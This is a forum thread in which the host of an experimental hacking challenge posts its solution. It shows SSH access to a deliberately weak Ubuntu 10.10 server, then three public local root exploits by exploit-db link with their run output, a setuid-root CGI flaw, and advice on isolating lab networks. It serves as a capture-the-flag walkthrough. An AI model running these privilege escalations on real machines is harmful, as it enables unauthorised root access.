Security Challenge IV (Experimental)

rcdk1 wrote: »

Would PM not be more appropriate rather than asking people to disclose their private email addresses? (given that this is the security forum )
having said that, I'm not knocking what you've done and would be interested in having a look.

Emails come straight through to my phone when away from the laptop, also I'm sure most people got a 2nd address when messing around.

You can me a PM either if yous prefare that or even post here.. Might be slower response though.

Bad news: I had to remove one of the parts of the challenge, it was causing problems when accessed externally outside my network.

The good news: this makes the challenge easier for you, but maybe a little less fun.

Thoes that created accounts earlier today will have to do that again I'm afraid. Sorry.

Any of you's with super powers can have fun with:

echo "message" | wall

or send personal messages to someones terminal:

echo "message" > /dev/pts/?

Use who to get their pts number.


This is also a fun one to do on a large server (non destructive):

tput bel | tee `who | awk '{printf "/dev/"$2" "}'`

makes eveyone's terminal beep.

Final Hall of Fame:

Sigtran
peann
rockethamster
900913
Pygmalion

Solution:
First page tells you, you are getting webspace for free. Register an account.

You are told that your account is created and you can upload it via sftp. You may already know that sftp is secure ftp. Almost always paired with ssh (secure shell) in the one daemon over the same port. So you might try connect to the server via sftp client e.g. WinSCP or OpenSSH's sftp command line utility, but more interestingly you might have tried to connect over SSH to check if Shell access was disabled or not. Shell access wasn't disabled.. dumb administrator!!

Ok you logged in and are greeted with:

login as: damo
damo@damo-challenge4.dyndns.biz's password:
Linux challenge4server 2.6.35-22-generic-pae #33-Ubuntu SMP Sun Sep 19 22:14:14 UTC 2010 i686 GNU/Linux
Ubuntu 10.10

Welcome to Challenge IV.
Due to the nature of this challenge, there is lots of potential for abuse.
You are free to play around with the server, once you do not prevent other users from attempting the challenge.

Challenge IV Hall of Fame:
Sigtran
peann
rockethamster
900913
Pygmalion



damo@challenge4server:~$

Snooping around the server, you see that the other challengers home directories are unreadable. But you can see that a script exists in / called UPDATE_HALL_OF_FAME.sh.

damo@challenge4server:/$ ls -l UPDATE_HALL_OF_FAME.sh
-rwx

---

1 root root 213 2011-05-30 17:20 UPDATE_HALL_OF_FAME.sh

Only root will have access to read and execute this, so maybe you need to become root?

You have local access to the server, maybe we can execute a local privilege escalation execution exploit?

You can pop onto exploit-db.com and search for: platform: linux type: local

Enter command on the server: uname -a

damo@challenge4server:~$ uname -a
Linux challenge4server 2.6.35-22-generic-pae #33-Ubuntu SMP Sun Sep 19 22:14:14 UTC 2010 i686 GNU/Linux
damo@challenge4server:~$

You now the ubuntu version: 10.10, archiecture: x86 and kernel: 2.6.35-22 so this should make your searching easier. If not, then just trial and error some exploits.


PAM MOTD Local Root Exploit: (note: this one is reported as tested on 9.10 and 10.04 LTS but does however work on 10.10)
http://www.exploit-db.com/exploits/14339/

damo@challenge4server:~$ ./pam_motd.sh
[%] Ubuntu PAM MOTD local root
[%] SSH key set up
[%] Backuped /home/damo/.cache
[%] spawn ssh
[+] owned: /etc/passwd
[%] spawn ssh
[+] owned: /etc/shadow
[%] Restored /home/damo/.cache
[%] SSH key removed
[+] Success! Use password toor to get root
Password:
root@challenge4server:/home/damo# id
uid=0(root) gid=0(root) groups=0(root)
root@challenge4server:/home/damo# whoami
root
root@challenge4server:/home/damo#

Linus RDS Local Privilege escalation:
http://www.exploit-db.com/exploits/15285/

damo@challenge4server:~$ ./local-rds.c
[%] Linux kernel >= 2.6.30 RDS socket exploit
[%] by Dan Rosenberg
[%] Resolving kernel addresses...
[+] Resolved security_ops to 0xc09ddc0c
[+] Resolved default_security_ops to 0xc08137a0
[+] Resolved cap_ptrace_traceme to 0xc030c580
[+] Resolved commit_creds to 0xc0174b20
[+] Resolved prepare_kernel_cred to 0xc0174f70
[%] Overwriting security ops...
[%] Overwriting function pointer...
[%] Triggering payload...
[%] Restoring function pointer...
[%] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

Linux Kernel <= 2.6.37 Local Privilege Escalation (full-nelson):
http://www.exploit-db.com/exploits/15704/

damo@challenge4server:~$ ./full-nelson
[%] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xe0a882a0
[+] Resolved econet_ops to 0xe0a883a0
[+] Resolved commit_creds to 0xc0174b20
[+] Resolved prepare_kernel_cred to 0xc0174f70
[%] Calculating target...
[%] Failed to set Econet address.
[%] Triggering payload...
[%] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

Lets add our name to the hall of fame:

# bash
root@challenge4server:/# cd /
root@challenge4server:/# ./UPDATE_HALL_OF_FAME.sh
Usage: ./UPDATE_HALL_OF_FAME.sh <name>
Adds a user name to the Challenge IV Hall of Fame.
root@challenge4server:/# ./UPDATE_HALL_OF_FAME.sh damo
damo added to the Hall of Fame. Congratulations.
root@challenge4server:/#

Lets check, re-log in to check the dynamic MOTD:

login as: damo
damo@damo-challenge4.dyndns.biz's password:
Linux challenge4server 2.6.35-22-generic-pae #33-Ubuntu SMP Sun Sep 19 22:14:14 UTC 2010 i686 GNU/Linux
Ubuntu 10.10

Welcome to Challenge IV.
Due to the nature of this challenge, there is lots of potential for abuse.
You are free to play around with the server, once you do not prevent other users from attempting the challenge.

Challenge IV Hall of Fame:
Sigtran
peann
rockethamster
900913
Pygmalion
damo



damo@challenge4server:~$

Thats it.

If anyone is interested, the main web script for this challenge was a CGI script written in perl that had the setuid bit set for root. 99.99% of times there is no excuse to use CGI+setuid as root. It can be a major security risk and design flaw. Perl tries to minimise the threat by forcing you sanitise all data you use that was attained externally from the script itself.

I have attached the script if anyone wants to create a similar challenge.

Some files had been set as immutable or append only, to prevent "root" users accidentally deleting files or erasing data from files.

Any other questions?

Also:

Giving people access to a linux server on your network with root access can potentially be dangerous. Even in a VM, they will either share a lan with your router/gateway, or its own network with the host OS since you gave the guest OS outgoing and incoming access to/from the internet.

What if someone on the vm installs wireshark, ettercap, sslsniff, sslstrip. They can then potentially sniff all the traffic on your network, or sniff the traffic on the host OS. What if they mess with the settings on your router?

A solution is to set-up a VLAN on your router/gateway and separate the traffic between your normal home network for all your devices with one VLAN and a separate VLAN for the challenge.

If you are running the challenge in a virtual machine on a machine that you actively use, to separate the traffic, you will need 2 interfaces to your router.

I will talk here how to do it with two wifi adapters, but it probably could be done with 2 ethernet or 1 wifi & 1 ethernet, but I haven't tried that. My laptop is upstairs and router is downstairs, so I went with 2 wifi. Built in card, and a USB adapter. You will need a USB wifi adapter to allow a guest OS full access to it through a host. PCMCIA wont work.

I have a Netopia 2247NG-EIR(com) so to perform this with this router, I did:

- Enable 2nd SSID, WPA2 key, Closed System Mode (SSID is not broadcasted).
- Enable Expert Mode. Go to Configure, Advanced, VLAN

     Enable first VLAN. 
         Name: vcc
         Type: By Port
         Admin Restricted: no
         Portname: vcc1
         Ip Interface: ip-vcc1
         Inter VLAN Group: Group A & B
     Enable second VLAN. 
         Name: normal
         Type: By Port
         Admin Restricted: no
         Portname: all interfaces for normal use e.g. eth0.1, eth0.2, ssid1
         Ip Interface: ip-eth-a
         Inter VLAN Group: Group A
     Enable third VLAN. 
         Name: restricted
         Type: By Port
         Admin Restricted: yes (blocks accessing router settings)
         Portname: interface for the challenge server (for me ssid2)
         Ip Interface: ip-eth-a
         Inter VLAN Group: Group B

- Configure VMware or VBOX guest OS to have no virtual network adapter. Remove it completey. Host-only is not good enough in my opinion. Make sure your virtual machine is configured to use your USB wifi adapter. In VMWARE you click the usb icon at the bottom of the player to tell it to disconnect the usb device from host OS and connect it to the guest OS.

- Inside the guest OS, manually connect the WIFI adapter to the new SSID you created for the challenge.

I guess if your using ethernet, you need a virtual network adapter and bridge it to your actual ethernet adapter. You can do this with both VBOX and VMWARE.

NAT/Port forwarding is still possible. Its works same as before when you didn't have VLAN setup. Just forward the port to the IP of the Guest OS.

dlofnep wrote: »

Also, when I originally logged in - I had read access to other user's directories including read access to their .bash_history. Could have given the competition away for many people had anyone had rooted it at that point.

Aye, to be honest I was still patching/coding the challenge as I went along. hence the "experimental" hehe. I later chmod'ed the dirs 701. i did remove a rather significant part of the challenge also about 8 hours into it as it was causing problems. Didn't cause problems for me locally, so I didn't see it.

No, it should terminate after.